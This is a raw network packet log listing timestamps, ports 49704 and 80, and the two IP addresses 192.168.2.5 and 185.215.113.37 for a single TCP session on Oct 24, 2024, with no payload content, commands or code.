Oct 24, 2024 15:09:09.013870955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.013874054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.013891935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.013900042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.013910055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.013914108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.013926029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.013940096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.013942003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.013957977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.013967991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.013977051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.013993025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.013993979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014010906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014019012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014027119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014044046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014046907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014060020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014070988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014075994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014086962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014096022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014112949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014116049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014128923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014147043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014152050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014183044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014226913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014244080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014261961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014264107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014280081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014281034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014297009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014297962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014313936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014322042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014331102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014339924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014354944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014372110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014374971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014374971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014389038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014391899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014406919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014410019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014424086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014425039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014441013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014456987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014467001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014482021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014497042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014503002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014516115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014519930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014533043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014535904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014550924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014553070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014569044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014569044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014585018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014588118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014604092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014604092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014621019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014637947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.014964104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014980078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.014996052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.015002966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.015012980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.015017986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.015029907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.015034914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.015047073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.015050888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.015064001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.015067101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.015080929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.015084982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.015098095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.015100002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.015116930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.015132904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.093137026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.093163013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.093178988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.093204975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.093219995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.093235970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.093252897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.093270063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.093283892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.093283892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.093298912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.093316078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.093339920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.093355894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.093369961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.093370914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.093370914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.093385935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.093401909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.093404055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.093419075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.093437910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.093461037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.093473911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.093488932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.093513966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.093533993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.119440079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.119496107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.119513988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.119570017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.119596958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.119658947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.119677067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.119694948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.119699001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.119710922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.119728088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.119729996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.119744062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.119756937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.119761944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.119777918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.119800091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.119817019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.119820118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.119837046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.119853020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.119858027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.119869947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.119884968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.119891882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.119903088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.119918108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.119925976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.119959116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.119960070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.119968891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.119975090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.119990110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.119997978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120006084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120014906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120033026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120057106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120104074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120119095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120134115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120141029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120151043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120157957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120168924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120182037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120182991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120203972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120230913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120260954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120276928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120290995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120301962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120306969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120317936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120322943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120332003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120337009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120341063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120388985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120405912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120439053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120593071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120610952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120625973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120635986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120641947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120654106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120656013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120671988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120687962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120692015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120706081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120711088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120727062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120742083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120750904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120763063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120769978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120784044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120790005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120800972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120807886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120819092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120826006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120842934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120862961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120886087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120907068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120924950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120932102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120940924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120949984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120959044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120968103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.120975971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.120985985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.121004105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.121018887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.121184111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.121198893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.121222973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.121223927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.121238947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.121248960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.121283054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.121283054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.121366024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.121381998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.121398926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.121402025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.121416092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.121422052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.121440887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.121457100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.134485006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.134591103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.134969950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.134985924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.135005951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.135023117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.135067940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.135104895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.135121107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.135138035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.135145903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.135164022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.135180950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.135283947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.135299921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.135327101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.135332108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.135346889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.135349035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.135370016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.135389090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.135421038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.135436058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.135452032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.135458946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.135476112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.135493040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.135607004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.135654926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.135802984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.135818005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.135835886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.135844946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.135855913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.135864019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.135874033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.135881901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.135890007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.135900021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.135925055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.135982990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.135999918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136014938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136023045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136032104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136046886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136051893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136063099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136081934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136109114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136116028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136132002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136167049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136298895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136313915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136329889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136341095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136346102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136363029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136368990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136378050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136399984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136425972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136462927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136477947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136495113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136501074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136511087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136518955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136528015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136538029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136542082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136558056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136558056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136574984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136584997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136590958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136612892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136639118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136641026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136655092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136670113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136672020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136686087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136687994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136703968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136709929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136719942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136729002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136737108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136748075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136766911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136790991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136806011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136822939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136830091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136837959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136854887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136858940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:09.136868000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:09.136890888 CEST	49704	80	192.168.2.5	185.215.113.37
